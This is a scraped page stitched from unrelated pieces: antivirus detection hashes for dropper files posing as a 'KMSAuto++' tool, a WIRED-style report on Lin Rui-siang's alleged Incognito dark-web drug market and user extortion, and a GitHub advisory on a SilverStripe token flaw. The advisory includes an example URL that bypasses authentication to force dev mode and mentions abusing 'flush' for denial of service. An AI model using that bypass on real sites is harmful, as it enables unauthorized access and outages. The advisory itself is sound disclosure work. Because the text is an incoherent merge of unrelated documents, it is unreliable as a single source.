**Detection Name:** Win.Dropper.Scar::1201 

**SHA 256:** d529b406724e4db3defbaf15fcd216e66b9c999831e0b1f0c82899f7f8ef6ee1   
**MD5:** fb9e0617489f517dc47452e204572b4e   
**Typical Filename:** KMSAuto++.exe   
**Claimed Product:** KMSAuto++   
**Detection Name:** W32.File.MalParent 

**SHA 256:** abaa1b89dca9655410f61d64de25990972db95d28738fc93bb7a8a69b347a6a6   
**MD5:** 22ae85259273bc4ea419584293eda886   
**Typical Filename:** KMSAuto++ x64.exe   
**Claimed Product:** KMSAuto++   
**Detection Name:** W32.File.MalParent

Apple and Google are taking steps to curb the abuse of location-tracking devices — but what about others?

The strange journey of Lin Rui-siang, the 23-year-old accused of running the Incognito black market, extorting his own site’s users—and then refashioning himself as a legit crypto crime expert.

Two months ago, Lin Rui-siang, a young Taiwanese man wearing black-rimmed glasses and a white polo shirt, stood behind a lectern emblazoned with the crest of the St. Lucia police, giving a presentation titled “Cyber Crime and Cryptocurrency” in nearly fluent English to a roomful of cops from the tiny Caribbean country.

The St. Lucia government would later issue a press release lauding the success of Lin's training course, which had been organized by the Taiwanese embassy, where Lin worked as a diplomatic specialist in IT. The statement boasted that 30 officers had learned “nuances of the dark web" and cryptocurrency tracing skills from Lin, who had “used his professional background and qualifications in the field" to teach them how to better combat cybercrime.

Only earlier this week did it become clear exactly what Lin's “professional background and qualifications in the field” allegedly entailed, seemingly unbeknownst to either his Taiwanese employers or his St. Lucian law enforcement trainees. For nearly four years, according to the US Justice Department, 23-year-old Lin ran a dark-web drug market called Incognito that authorities say enabled the sale of at least $100 million worth of narcotics, ranging from MDMA to heroin for cryptocurrencies including bitcoin and monero. That was before Lin's alleged theft of his own users' funds earlier this year and then his arrest last week by the FBI in New York's JFK airport.

Over his years working as a cryptocurrency-focused intern at Cathay Financial Holdings in Taipei and then as a young IT staffer at St. Lucia's Taiwanese embassy, Lin allegedly lived a double life as a dark-web figure who called himself “Pharoah" or “faro”—a persona whose track record qualifies as remarkably strange and contradictory even for the dark web, where secret lives are standard issue. In his short career, Pharoah launched Incognito, built it into a popular crypto black market with some of the dark web's better safety and security features, then abruptly stole the funds of the market's customers and drug dealers in a so-called “exit scam” and, in a particularly malicious new twist, extorted those users with threats of releasing their transaction details.

During those same busy years, Pharoah also launched a web service called Antinalysis, designed to defeat crypto money laundering countermeasures—only for Lin, who prosecutors say controlled that Pharoah persona, to later refashion himself as a crypto-focused law enforcement trainer. Finally, despite his supposed expertise in cryptocurrency tracing and digital privacy, it was Lin's own relatively sloppy money trails that, the DOJ claims, helped the FBI to trace his real identity.

An April post on Lin Rui-siang’s LinkedIn account about his cybercrime and cryptocurrency training course for police in St. Lucia.

Among all those incongruities, though, it's the image of Lin giving his cryptocurrency crime training in St. Lucia—which Lin proudly posted to his LinkedIn account—that shocked Tom Robinson, a cofounder of the blockchain analysis firm Elliptic, who has long tracked Lin's alleged Pharoah alter ego. “This is an alleged dark-net market admin standing in front of police officers, showing them how to use blockchain analytics tools to track down criminals online,” says Robinson. “Assuming he is who the FBI says he is, it's incredibly ironic and brazen.”

**Pharoah the Kingpin—and Extortionist**

Lin has been charged with not only narcotics conspiracy and money laundering but also running a “continuing criminal enterprise,” the so-called “kingpin statute” reserved for organized crime leaders who allegedly oversaw at least five employees. For that charge alone, he faces a potential life sentence.

In the DOJ's criminal complaint against Lin, it points to a handwritten document the FBI pulled from his email, which appears to sketch out a flow chart for a dark-web market's mechanics. The complaint's FBI affidavit says Lin emailed himself the sketch in March 2020 when he was at most 19 years old. It describes functionality such as how “vendors” and “buyers” would register, make purchases, and encrypt shipping addresses. Seven months later, Lin would allegedly launch Incognito Market.

A sketch of a dark-web market's infrastructure that Lin emailed to himself eight months before allegedly creating Incognito Market, according to the DOJ.

According to the FBI, the market took nearly a year to catch on, with virtually no sales during that time. But by late 2021, Incognito had started to attract users, and by the middle of 2022, the market had drawn enough vendors and sellers to generate more than $1.5 million a month in sales.

A 2022 Twitter thread about Incognito posted by Eileen Ormsby, an author of several dark-web-focused books including _The Darkest Web_, shows how the market by that time had added features that may have helped it to catch the attention of security- and safety-conscious users. It required that new users demonstrate they could use the encryption tool PGP before entering the market, prompted them to take a security quiz, allowed buyers to spend the more privacy-focused cryptocurrency monero as well as bitcoin, encouraged dealers to post results from a fentanyl test to certify their product was “fent free,” and even experimented with democratic voting for market-wide decisions.

By the summer of 2023, Incognito had spiked in popularity and was approaching $5 million a month in sales. Then in March of this year, the site suddenly dropped offline, taking all the funds stored in buyers' and sellers' wallets with it. A few days later, the site reappeared with a new message on its homepage. “Expecting to hear the last of us yet?” it read. “We got one final little nasty surprise for y'all.”

The message explained that Incognito was now essentially blackmailing its former users: It had stored their messages and transaction records, it said, and added that it would be creating a “whitelist portal” where users could pay a fee—which for some dealers would later be set as high as $20,000—to remove their data before all the incriminating information was leaked online at the end of this month. “YES THIS IS AN EXTORTION!!!” the message added.

In retrospect, Ormsby says that the site's apparent user-friendliness and its security features were perhaps a multiyear con laying the groundwork for its endgame, a kind of user extortion never seen before in dark-web drug markets. “Maybe the whole thing was set up to create a false sense of security,” Ormsby says. “The extorting thing is completely new to me. But if you've lulled people into a sense of security, I guess it's easier to extort them.”

In total, Incognito Market promised to leak more than half a million drug transaction records if buyers and sellers didn't pay to remove them from the data dump. It's still not clear whether the market's administrator—Lin, according to prosecutors, whom they accuse of personally carrying out the extortion campaign—planned to follow through on the threat: He appears to have been arrested before the deadline set for the victims of the Incognito blackmail.

**An Expert in ‘Anti Anti-Money Laundering’**

At the same time the FBI says Lin was laying the groundwork for this double-cross, he also appears to have briefly tried engineering an entirely different scheme. In the summer of 2021, during Incognito Market's relatively quiet first year, Lin's alleged alter ego, Pharoah, launched a service called Antinalysis, a website designed to analyze blockchains and let users check—for a fee—whether their cryptocurrency could be connected to criminal transactions.

In a post to the dark-web market forum Dread, Pharoah made clear that Antinalysis was designed not to help anti-money-laundering investigators, but rather those who sought to evade them—presumably including his own dark-web market's users. “Our goals do not lie in aiding the surveillance autocracy of state-sponsored agencies,” Pharoah's post read. “This service is dedicated to individuals that have the need to possess complete privacy on the blockchain, offering a perspective from the opponent's point of view in order for the user to comprehend the possibility of his/her funds getting flagged down under autocratic illegal charges.”

After independent cybersecurity reporter Brian Krebs wrote about the Antinalysis service in August 2021, describing it as an “anti anti-money laundering service for crooks,” Pharoah posted another message complaining that Antinalysis had lost access to its blockchain data source, which Krebs had identified as the anti-money-laundering tool AMLBot, and that it would be going offline. “Stay posted and fuck LE," Pharoah wrote, using the abbreviation LE to mean “law enforcement.” Antinalysis eventually returned, however, and pivoted last year to acting instead as a service for swapping bitcoin for monero and vice versa.

Meanwhile, Lin appears to have maintained his obsession with cryptocurrency tracing and blockchain analysis: His final LinkedIn post last week before his arrest in New York announced that he had become a certified user of Reactor, the crypto tracing tool sold by blockchain analysis firm Chainalysis. “I'm excited to share that I've completed Chainalysis's new qualification: Chainalysis Reactor Certification (CRC)!” Lin wrote in Mandarin. His last X post shows a Chainalysis diagram of money flows between dark-web markets and cryptocurrency exchanges.

It's not clear whether Lin obtained his Chainalysis certification to bolster a new career training law enforcement in blockchain analysis or, if US prosecutors are to be believed, to advance his previous alleged career as a dark-web criminal. But it raises the troubling possibility that a former dark-web kingpin—one who was still extorting his own users—was perhaps playing both sides of the crypto tracing game, says Elliptic's Tom Robinson.

“There’s a larger issue here about bad actors accessing blockchain analytics tools,” says Robinson. “That is a potentially risky situation, where someone who’s in the process of laundering proceeds of crime can check in commercially available tools whether they have laundered them such that they can get away with it.” Running certain checks in those tools might even allow someone to determine if they're being actively investigated by law enforcement, Robinson says.

WIRED reached out to Chainalysis to ask about Lin's Reactor certification and what sort of safeguards prevent criminals from using the company's software, but the company declined to comment.

If Lin did hope to evade law enforcement by becoming an expert in crypto tracing himself, he was far too late to avoid creating his own blockchain trail of evidence: In January of this year, the FBI says it somehow identified a central Incognito server and obtained a search warrant for its contents. That allowed investigators to identify a bitcoin wallet stored there, which the FBI says Lin had also carelessly used to pay web registrar Namecheap for four web domains—including one that tracked which dark-web markets were online or down—and register them under his own name.

Although the FBI says Lin tried to swap his bitcoins for harder-to-trace monero before cashing out the cryptocurrency at an exchange, the criminal complaint points to timing and amount correlations that nonetheless allowed the FBI to follow his funds to a crypto exchange where he allegedly liquidated the dirty funds. That exchange account, too, was registered in Lin's real name, according to the DOJ.

The operational security mistakes the FBI describes suggest that, regardless of which side of the cryptocurrency cat-and-mouse game Lin intended to end up on, he was far from a criminal mastermind. His brief, strange journey from alleged kingpin to crypto crime expert ultimately provides plenty of lessons to criminals and law enforcement alike—though probably not the ones he intended.

He Trained Cops to Fight Crypto Crime—and Allegedly Ran a $100M Dark-Web Drug Market

When a secure token parameter is provided to a SilverStripe site (such as isDev or flush) an empty token parameter can be provided in order to bypass normal authentication parameters.

For instance, http://www.mysite.com/?isDev=1&isDevtoken will force a site to dev mode. Alternatively, "flush" could also be used in succession to cause excessive load on a victim site and risk denial of service.

The fix in this case is to ensure that empty tokens fail the validation check.

Skip to content

**Navigation Menu**

*   *   Actions
        
        Automate any workflow
        
    *   Packages
        
        Host and manage packages
        
    *   Security
        
        Find and fix vulnerabilities
        
    *   Codespaces
        
        Instant dev environments
        
    *   Copilot
        
        Write better code with AI
        
    *   Code review
        
        Manage code changes
        
    *   Issues
        
        Plan and track work
        
    *   Discussions
        
        Collaborate outside of code
        
    

*   *   GitHub Sponsors
        
        Fund open source developers
        
    
    *   The ReadME Project
        
        GitHub community articles
        
    
*   Pricing

**Provide feedback**

**Saved searches****Use saved searches to filter your results more quickly**

Sign up

1.  GitHub Advisory Database
2.  GitHub Reviewed
3.  GHSA-g4hp-pfvf-vm5w

**SilverStripe Vulnerability on 'isDev', 'isTest' and 'flush' $\_GET validation**

Moderate severity GitHub Reviewed Published May 23, 2024 to the GitHub Advisory Database

**Package**

composer silverstripe/framework (Composer)

**Affected versions**

\>= 3.0.0, <= 3.0.13

\>= 3.1.0, < 3.1.13

**Patched versions**

3.0.14

3.1.13

**Description**

Published to the GitHub Advisory Database

May 23, 2024

Tag

#auth